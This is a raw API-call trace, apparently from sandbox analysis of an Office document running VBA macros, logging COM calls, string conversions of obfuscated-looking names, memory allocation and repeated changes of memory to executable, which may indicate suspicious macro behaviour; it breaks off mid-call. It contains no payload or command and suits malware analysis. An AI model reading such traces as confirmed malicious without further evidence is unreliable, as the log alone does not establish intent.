(This=0x81ddbb8) returned 0x0 [0036.983] IUnknown:AddRef (This=0x81ddbb8) returned 0x3 [0036.983] IUnknown:Release (This=0x81ddbb8) returned 0x2 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265038 | out: ppvObject=0x265038*=0x0) returned 0x80004002 [0036.983] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x265030 | out: ppvObject=0x265030*=0x0) returned 0x80004002 [0036.983] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81ddbb8, ppTLib=0x264870, pIndex=0x0 | out: ppTLib=0x264870*=0x7f8b790, pIndex=0x0) returned 0x0 [0036.983] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264880, pDummy=0x0 | out: ppTLibAttr=0x264880, pDummy=0x0) returned 0x0 [0036.983] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0036.983] IUnknown:Release (This=0x7f8b790) returned 0x9 [0036.983] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x264870, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0036.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.983] strcpy_s (in: _Dst=0x81612b0, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0036.983] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264870, pbstrName=0x0, pwOrdinal=0x264890 | out: pBstrDllName=0x264870*=0x0, pbstrName=0x0, pwOrdinal=0x264890*=0x4b00) returned 0x0 [0036.983] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264870, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264870, pwOrdinal=0x500000000) returned 0x0 [0036.983] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f09ff0 [0036.983] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8278890 [0036.983] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b720 [0036.983] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.983] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.983] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.983] GetCurrentProcess () returned 0xffffffffffffffff [0036.983] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b720, dwSize=0x4b) returned 1 [0036.983] IMalloc:Free (This=0x7feff045380, pv=0x827b720) [0036.983] IMalloc:Realloc (This=0x7feff045380, pv=0x8195b70, cb=0x200) returned 0x80f18b0 [0036.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8274eb4, cbMultiByte=8, lpWideCharStr=0x33a21fc, cchWideChar=18 | out: lpWideCharStr="j2c61c53") returned 8 [0036.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8274f0c, cbMultiByte=15, lpWideCharStr=0x33a2bca, cchWideChar=32 | out: lpWideCharStr="g6f9d8ec638fe23") returned 15 [0036.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8274f94, cbMultiByte=9, lpWideCharStr=0x33a3e26, cchWideChar=20 | out: lpWideCharStr="ae8bafbc4") returned 9 [0036.985] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3af0000 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8274ff4, cbMultiByte=8, lpWideCharStr=0x3af0c14, cchWideChar=18 | out: lpWideCharStr="o536c9fd") returned 8 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275074, cbMultiByte=13, lpWideCharStr=0x3af2162, cchWideChar=28 | out: lpWideCharStr="g6434749aa99a") returned 13 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82750fc, cbMultiByte=13, lpWideCharStr=0x3af36ba, cchWideChar=28 | out: lpWideCharStr="rb861c34df544") returned 13 [0036.986] IMalloc:Realloc (This=0x7feff045380, pv=0x7e68900, cb=0x60) returned 0x81a1240 [0036.986] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b00000 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275164, cbMultiByte=6, lpWideCharStr=0x3b004f4, cchWideChar=14 | out: lpWideCharStr="rf99bd") returned 6 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82751cc, cbMultiByte=8, lpWideCharStr=0x3b014fe, cchWideChar=18 | out: lpWideCharStr="v55ed1fa") returned 8 [0036.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827525c, cbMultiByte=12, lpWideCharStr=0x3b02c8c, cchWideChar=26 | out: lpWideCharStr="c3eb74ec8a5c") returned 12 [0036.986] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8278ae0 [0036.987] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b10000 [0036.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82752ec, cbMultiByte=8, lpWideCharStr=0x3b10064, cchWideChar=18 | out: lpWideCharStr="o89da94b") returned 8 [0036.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827534c, cbMultiByte=15, lpWideCharStr=0x3b11072, cchWideChar=32 | out: lpWideCharStr="a6721c2c6d3b6cf") returned 15 [0036.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82753bc, cbMultiByte=13, lpWideCharStr=0x3b1208e, cchWideChar=28 | out: lpWideCharStr="ofb6ab34527ea") returned 13 [0036.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275444, cbMultiByte=9, lpWideCharStr=0x3b132e6, cchWideChar=20 | out: lpWideCharStr="k1a442dfc") returned 9 [0036.987] IMalloc:Realloc (This=0x7feff045380, pv=0x80f16a0, cb=0x400) returned 0x421b80 [0036.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275494, cbMultiByte=12, lpWideCharStr=0x3b13e16, cchWideChar=26 | out: lpWideCharStr="c5d1312545d4") returned 12 [0036.987] IMalloc:Realloc (This=0x7feff045380, pv=0x81a1240, cb=0xc0) returned 0x8225960 [0036.987] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3be0000 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275504, cbMultiByte=9, lpWideCharStr=0x3be0a34, cchWideChar=20 | out: lpWideCharStr="p97cd69ec") returned 9 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827558c, cbMultiByte=9, lpWideCharStr=0x3be1884, cchWideChar=20 | out: lpWideCharStr="d8cbb37e1") returned 9 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827561c, cbMultiByte=15, lpWideCharStr=0x3be2a74, cchWideChar=32 | out: lpWideCharStr="fbf7bbd9c5fc675") returned 15 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82756ac, cbMultiByte=13, lpWideCharStr=0x3be3d90, cchWideChar=28 | out: lpWideCharStr="tfa3d72373fff") returned 13 [0036.988] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bf0000 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275734, cbMultiByte=13, lpWideCharStr=0x3bf1194, cchWideChar=28 | out: lpWideCharStr="ef7f3d4aac29c") returned 13 [0036.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82757c4, cbMultiByte=13, lpWideCharStr=0x3bf24ac, cchWideChar=28 | out: lpWideCharStr="ndcff162e79c3") returned 13 [0036.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827581c, cbMultiByte=6, lpWideCharStr=0x3bf3224, cchWideChar=14 | out: lpWideCharStr="v35849") returned 6 [0036.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275874, cbMultiByte=6, lpWideCharStr=0x3bf3bee, cchWideChar=14 | out: lpWideCharStr="wffe2b") returned 6 [0036.989] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8278d30 [0036.989] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c10000 [0036.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82758f4, cbMultiByte=9, lpWideCharStr=0x3c10e54, cchWideChar=20 | out: lpWideCharStr="v8ae49641") returned 9 [0036.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275984, cbMultiByte=15, lpWideCharStr=0x3c12404, cchWideChar=32 | out: lpWideCharStr="a91db91f479214e") returned 15 [0036.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82759e4, cbMultiByte=11, lpWideCharStr=0x3c13240, cchWideChar=24 | out: lpWideCharStr="f686b8f9c16") returned 11 [0036.989] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c20000 [0036.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275a44, cbMultiByte=11, lpWideCharStr=0x3c20084, cchWideChar=24 | out: lpWideCharStr="r491b494358") returned 11 [0036.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275ab4, cbMultiByte=14, lpWideCharStr=0x3c21158, cchWideChar=30 | out: lpWideCharStr="k88d6711911a54") returned 14 [0036.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275b14, cbMultiByte=6, lpWideCharStr=0x3c21f32, cchWideChar=14 | out: lpWideCharStr="w41b5c") returned 6 [0036.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275b74, cbMultiByte=14, lpWideCharStr=0x3c22f3c, cchWideChar=30 | out: lpWideCharStr="ya83f65548728c") returned 14 [0036.990] IMalloc:Realloc (This=0x7feff045380, pv=0x421b80, cb=0x800) returned 0x7cb6f20 [0036.990] IMalloc:Realloc (This=0x7feff045380, pv=0x8225960, cb=0x180) returned 0x82222e0 [0036.990] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3c30000 [0036.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275c04, cbMultiByte=7, lpWideCharStr=0x3c30474, cchWideChar=16 | out: lpWideCharStr="qdf9f4c") returned 7 [0036.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275c6c, cbMultiByte=15, lpWideCharStr=0x3c316c0, cchWideChar=32 | out: lpWideCharStr="e5257ac4ddba8fc") returned 15 [0036.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275cbc, cbMultiByte=12, lpWideCharStr=0x3c3225c, cchWideChar=26 | out: lpWideCharStr="m6e62cd66b2c") returned 12 [0036.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275d24, cbMultiByte=13, lpWideCharStr=0x3c33092, cchWideChar=28 | out: lpWideCharStr="t7c57888b742e") returned 13 [0036.991] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4190000 [0036.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275d94, cbMultiByte=8, lpWideCharStr=0x4190354, cchWideChar=18 | out: lpWideCharStr="p7cb6a8e") returned 8 [0036.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275e0c, cbMultiByte=9, lpWideCharStr=0x4191842, cchWideChar=20 | out: lpWideCharStr="p14616963") returned 9 [0036.992] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8278f80 [0036.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275ea4, cbMultiByte=15, lpWideCharStr=0x4193092, cchWideChar=32 | out: lpWideCharStr="q3f8fa1e3395dd3") returned 15 [0036.992] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x42a0000 [0036.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275f1c, cbMultiByte=15, lpWideCharStr=0x42a0174, cchWideChar=32 | out: lpWideCharStr="w4a6c61e7dcc1cc") returned 15 [0036.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275f44, cbMultiByte=10, lpWideCharStr=0x42a0490, cchWideChar=22 | out: lpWideCharStr="lcd7e4fd5f") returned 10 [0036.993] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827b720 [0036.993] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.993] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.993] IMalloc:GetSize (This=0x7feff045380, pv=0x827b720) returned 0x26d [0036.993] GetCurrentProcess () returned 0xffffffffffffffff [0036.993] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827b720, dwSize=0x54) returned 1 [0036.993] IMalloc:Free (This=0x7feff045380, pv=0x827b720) [0036.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8275fd4, cbMultiByte=7, lpWideCharStr=0x42a1e62, cchWideChar=16 | out: lpWideCharStr="b3fa886") returned 7 [0036.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827602c, cbMultiByte=9, lpWideCharStr=0x42a282e, cchWideChar=20 | out: lpWideCharStr="b6f545c1c") returned 9 [0036.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827609c, cbMultiByte=14, lpWideCharStr=0x42a343e, cchWideChar=30 | out: lpWideCharStr="ne677ccbbb8e71") returned 14 [0036.993] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x42b0000 [0036.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8276114, cbMultiByte=14, lpWideCharStr=0x42b0714, cchWideChar=30 | out: lpWideCharStr="l3573aa7911155") returned 14 [0036.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82761a4, cbMultiByte=6, lpWideCharStr=0x42b1a2e, cchWideChar=14 | out: lpWideCharStr="e699f7") returned 6 [0036.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8276204, cbMultiByte=8, lpWideCharStr=0x42b2a38, cchWideChar=18 | out: lpWideCharStr="j5d8774c") returned 8 [0036.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827624c, cbMultiByte=14, lpWideCharStr=0x42b35c6, cchWideChar=30 | out: lpWideCharStr="b9e5b13416271f") returned 14 [0036.994] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x42c0000 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82762bc, cbMultiByte=10, lpWideCharStr=0x42c0894, cchWideChar=22 | out: lpWideCharStr="uf8abe8b43") returned 10 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827631c, cbMultiByte=15, lpWideCharStr=0x42c1266, cchWideChar=32 | out: lpWideCharStr="g44ccd6f22f9a4c") returned 15 [0036.995] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x82791d0 [0036.995] IMalloc:Realloc (This=0x7feff045380, pv=0x819b5b0, cb=0x100) returned 0x8195b70 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827636c, cbMultiByte=11, lpWideCharStr=0x42c1da2, cchWideChar=24 | out: lpWideCharStr="j3f38e21294") returned 11 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82763dc, cbMultiByte=13, lpWideCharStr=0x42c29b6, cchWideChar=28 | out: lpWideCharStr="ba75c719ae4da") returned 13 [0036.995] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x42d0000 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827646c, cbMultiByte=14, lpWideCharStr=0x42d0174, cchWideChar=30 | out: lpWideCharStr="bdb17f99f2e9f5") returned 14 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82764dc, cbMultiByte=7, lpWideCharStr=0x42d118e, cchWideChar=16 | out: lpWideCharStr="c5d4532") returned 7 [0036.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827653c, cbMultiByte=13, lpWideCharStr=0x42d219a, cchWideChar=28 | out: lpWideCharStr="r6dccec9b271d") returned 13 [0036.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82765cc, cbMultiByte=6, lpWideCharStr=0x42d3572, cchWideChar=14 | out: lpWideCharStr="jbdb64") returned 6 [0036.996] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x43e0000 [0036.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827664c, cbMultiByte=9, lpWideCharStr=0x43e03d4, cchWideChar=20 | out: lpWideCharStr="jc16774f4") returned 9 [0036.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82766dc, cbMultiByte=10, lpWideCharStr=0x43e18c4, cchWideChar=22 | out: lpWideCharStr="kf4f54d64c") returned 10 [0036.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8276744, cbMultiByte=8, lpWideCharStr=0x43e26f6, cchWideChar=18 | out: lpWideCharStr="p22d774b") returned 8 [0036.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827679c, cbMultiByte=11, lpWideCharStr=0x43e30c4, cchWideChar=24 | out: lpWideCharStr="k77de361f23") returned 11 [0036.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8276804, cbMultiByte=10, lpWideCharStr=0x43e3f58, cchWideChar=22 | out: lpWideCharStr="obfb49f2ae") returned 10 [0036.997] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x43f0000 [0036.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x827685c, cbMultiByte=10, lpWideCharStr=0x43f0ccc, cchWideChar=22 | out: lpWideCharStr="c6c583a99e") returned 10 [0036.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x82768f4, cbMultiByte=13, lpWideCharStr=0x43f245e, cchWideChar=28 | out: lpWideCharStr="g42fbb761c3a6") returned 13 [0036.997] IMalloc:Alloc (This=0x7feff045380, cb=0x230) returned 0x8279420 [0036.998] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81ddbb8, ppTLib=0x264ab0, pIndex=0x0 | out: ppTLib=0x264ab0*=0x7f8b790, pIndex=0x0) returned 0x0 [0036.998] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264ac0, pDummy=0x0 | out: ppTLibAttr=0x264ac0, pDummy=0x0) returned 0x0 [0036.998] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0036.998] IUnknown:Release (This=0x7f8b790) returned 0x9 [0036.998] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x264ab0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0036.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0036.998] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264ab0, pbstrName=0x0, pwOrdinal=0x264ad0 | out: pBstrDllName=0x264ab0*=0x0, pbstrName=0x0, pwOrdinal=0x264ad0*=0x4d40) returned 0x0 [0036.998] ITypeInfo:RemoteGetDllEntry (in: This=0x81ddbb8, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264ab0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264ab0, pwOrdinal=0x500000000) returned 0x0 [0036.999] IMalloc:Realloc (This=0x7feff045380, pv=0x7cd4520, cb=0xc10) returned 0x827b720 [0036.999] IMalloc:Realloc (This=0x7feff045380, pv=0x827b720, cb=0x1010) returned 0x827b720 [0036.999] IMalloc:Realloc (This=0x7feff045380, pv=0x827b400, cb=0x618) returned 0x827c740 [0037.000] IMalloc:Realloc (This=0x7feff045380, pv=0x82222e0, cb=0x300) returned 0x827b400 [0037.000] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4400000 [0037.000] IMalloc:Realloc (This=0x7feff045380, pv=0x827b720, cb=0x1410) returned 0x827cd60 [0037.001] IMalloc:Realloc (This=0x7feff045380, pv=0x827cd60, cb=0x1810) returned 0x827cd60 [0037.001] IMalloc:Realloc (This=0x7feff045380, pv=0x827cd60, cb=0x1c10) returned 0x827cd60 [0037.001] IMalloc:Realloc (This=0x7feff045380, pv=0x827cd60, cb=0x1b32) returned 0x827cd60 [0037.001] IMalloc:Free (This=0x7feff045380, pv=0x805f530) [0037.001] GetCurrentProcess () returned 0xffffffffffffffff [0037.001] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0037.001] GetCurrentProcess () returned 0xffffffffffffffff [0037.001] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0037.001] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160888, dwSize=0x39) returned 1 [0037.001] VirtualProtect (in: lpAddress=0x8160888, dwSize=0x39, flNewProtect=0x40, lpflOldProtect=0x26501c | out: lpflOldProtect=0x26501c*=0x40) returned 1 [0037.001] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e9, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608e8, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x81608f8, dwSize=0x2) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8277fa0, dwSize=0x5d) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x8277fa0, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160941, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160940, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8160950, dwSize=0x2) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82781ec, dwSize=0x57) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x82781ec, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278031, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278030, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278040, dwSize=0x2) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278098, dwSize=0x93) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x8278098, dwSize=0x94, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278279, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278278, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278288, dwSize=0x2) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82782dc, dwSize=0x57) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x82782dc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278369, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278368, dwSize=0x8) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278378, dwSize=0x2) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827843c, dwSize=0x45) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x827843c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.002] GetCurrentProcess () returned 0xffffffffffffffff [0037.002] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82784c4, dwSize=0x45) returned 1 [0037.002] VirtualProtect (in: lpAddress=0x82784c4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache 